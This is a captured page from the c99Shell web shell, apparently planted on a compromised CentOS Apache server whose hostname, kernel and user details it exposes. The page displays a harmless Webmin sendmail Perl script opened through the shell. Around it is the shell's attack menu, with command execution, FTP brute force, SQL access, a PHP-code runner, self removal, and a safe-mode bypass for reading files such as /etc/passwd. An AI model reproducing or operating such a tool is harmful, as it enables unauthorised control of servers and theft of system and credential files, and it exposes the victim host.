!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list_ports.cgi (2.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a list of TCP ports Sendmail uses

require './sendmail-lib.pl';
$access{'ports'} || &error($text{'ports_ecannot'});
&ui_print_header(undef, $text{'ports_title'}, "");

# Get and parse current setting
$conf = &get_sendmailcf();
foreach $dpo (&find_options("DaemonPortOptions", $conf)) {
    local %opts;
    foreach $o (split(/\s*,\s*/, $dpo->[1])) {
        if ($o =~ /^([^=]+)=(\S+)$/) {
            $opts{$1} = $2;
            }
        }
    push(@ports, \%opts);
    }

# Show table of ports
print &ui_form_start("save_ports.cgi");
print &ui_radio("ports_def", @ports ? 0 : 1,
    [ [ 1, $text{'ports_def1'} ], [ 0, $text{'ports_def0'} ] ])."<p>\n";
print &ui_columns_start([
    $text{'ports_name'},
    $text{'ports_addr'},
    $text{'ports_port'},
    $text{'ports_opts'},
    ], 100);
$i = 0;
@tds = ( "valign=top", "valign=top", "valign=top" );
@known_opts = ( 'Name', 'Address', 'Port', 'Modifiers', 'Family' );
foreach $p (@ports, { }) {
    @cols = ( );
    foreach $k (@known_opts) {
        $fk = substr($k, 0, 1);
        if ($p->{$fk} && !$p->{$k}) {
            # Using first letter abbreviation only
            $p->{$k} = $p->{$fk};
            delete($p->{$fk});
            }
        }
    if ($p->{'Addr'}) {
        # Some systems use 'Addr' instead of 'Address'
        $p->{'Address'} = $p->{'Addr'};
        delete($p->{'Addr'});
        }
    push(@cols, &ui_textbox("name_$i", $p->{'Name'}, 10));
    push(@cols, &ui_opt_textbox("addr_$i", $p->{'Address'}, 15,
                    $text{'ports_all'}, $text{'ports_ip'}).
            "<br>\n".
            $text{'ports_family'}." ".
            &ui_select("family_$i", $p->{'Family'},
                   [ [ '', $text{'default'} ],
                 [ 'inet', $text{'ports_inet'} ],
                 [ 'inet6', $text{'ports_inet6'} ] ]));
    push(@cols, &ui_opt_textbox("port_$i", $p->{'Port'}, 6,
                    $text{'default'}." (25)"));
    @mods = ( );
    foreach $m (@port_modifier_flags) {
        push(@mods, &ui_checkbox("mod_$i", $m, $text{'ports_mod_'.$m},
                     $p->{'Modifiers'} =~ /$m/));
        }
    push(@cols, &ui_grid_table(\@mods, 2));
    print &ui_columns_row(\@cols, \@tds);

    # Hidden field for other settings
    foreach $k (@known_opts) {
        delete($p->{$k});
        }
    print &ui_hidden("other_$i",
        join(",", map { $_."=".$p->{$_} } keys %$p));
    $i++;
    }
print &ui_columns_end();
print &ui_form_end([ [ undef, $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--